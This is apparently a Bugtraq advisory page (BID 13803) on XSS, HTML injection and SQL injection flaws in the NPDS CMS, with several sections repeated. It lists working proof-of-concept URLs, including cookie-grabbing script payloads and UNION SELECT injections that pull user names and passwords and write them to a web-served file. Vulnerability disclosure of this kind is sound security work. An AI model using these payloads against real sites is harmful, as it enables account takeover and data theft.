NPDS Multiple Input Validation Vulnerabilities
BID:13803
Info
NPDS Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 13803 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2005 12:00AM |
| Updated: | May 28 2005 12:00AM |
| Credit: | Discovery is credited to NoSP <[email protected]> and Romano <[email protected]>. |
| Vulnerable: |
NPDS NPDS 5.0 NPDS NPDS 4.8 |
| Not Vulnerable: | |
Discussion
NPDS Multiple Input Validation Vulnerabilities
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
All versions of NPDS are considered vulnerable to this issue at the moment.
NPDS is affected by multiple vulnerabilities resulting from input validation errors. These issues may allow remote attackers to carry out HTML injection, cross-site scripting and SQL injection attacks.
This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
All versions of NPDS are considered vulnerable to this issue at the moment.
Exploit / POC
NPDS Multiple Input Validation Vulnerabilities
No exploit is required.
Proof of concept examples are available:
Cross-site Scripting:
http://www.example.com/npds/admin.php?mainfile=e&language=<script>alert(document.cookie);</script>
http://www.example.com/npds/powerpack_f.php?language=<script>alert()</script>
//idem pr push.php
http://www.example.com/npds/sdv_infos.php?sitename=<script>alert()</script>
http://www.example.com/faq.php?myfaq=ys&id_cat=99&categories=<script>alert()</script>
http://www.example.com/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_lettre&lettre=<script>alert()</script>
http://www.example.com/reviews.php?op=postcomment&id=1&title=%3Cscript%3Ealert();%3C/script%3E
HTML injection:
http://www.example.com/reply.php?post=1&forum=1&topic=1&stop=2&image_subject="><script>alert('je viens de recuperer ton
cookie');</script>&userdata='&time='&poster_ip='&hostname='&message=test&submit=Valider
SQL injection:
http://www.example.com/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_terme&type=3&terme=''%20='%20AND%20affiche!='0'%20UNION%20SELECT%200,0,uname,pass,0,0%20from%20user
s%20where%20uname<>''/*
http://www.example.com/links.php?op=search&query=google%'%20UNION%20SELECT%200,uname,pass,0,0,0,0,0%20FROM%20users%20where%20uname<>''%20INTO%20OUTFILE%20'/var/www/html/npds/sql/s
qlinjection.txt'/*
No exploit is required.
Proof of concept examples are available:
Cross-site Scripting:
http://www.example.com/npds/admin.php?mainfile=e&language=<script>alert(document.cookie);</script>
http://www.example.com/npds/powerpack_f.php?language=<script>alert()</script>
//idem pr push.php
http://www.example.com/npds/sdv_infos.php?sitename=<script>alert()</script>
http://www.example.com/faq.php?myfaq=ys&id_cat=99&categories=<script>alert()</script>
http://www.example.com/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_lettre&lettre=<script>alert()</script>
http://www.example.com/reviews.php?op=postcomment&id=1&title=%3Cscript%3Ealert();%3C/script%3E
HTML injection:
http://www.example.com/reply.php?post=1&forum=1&topic=1&stop=2&image_subject="><script>alert('je viens de recuperer ton
cookie');</script>&userdata='&time='&poster_ip='&hostname='&message=test&submit=Valider
SQL injection:
http://www.example.com/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_terme&type=3&terme=''%20='%20AND%20affiche!='0'%20UNION%20SELECT%200,0,uname,pass,0,0%20from%20user
s%20where%20uname<>''/*
http://www.example.com/links.php?op=search&query=google%'%20UNION%20SELECT%200,uname,pass,0,0,0,0,0%20FROM%20users%20where%20uname<>''%20INTO%20OUTFILE%20'/var/www/html/npds/sql/s
qlinjection.txt'/*
Solution / Fix
NPDS Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.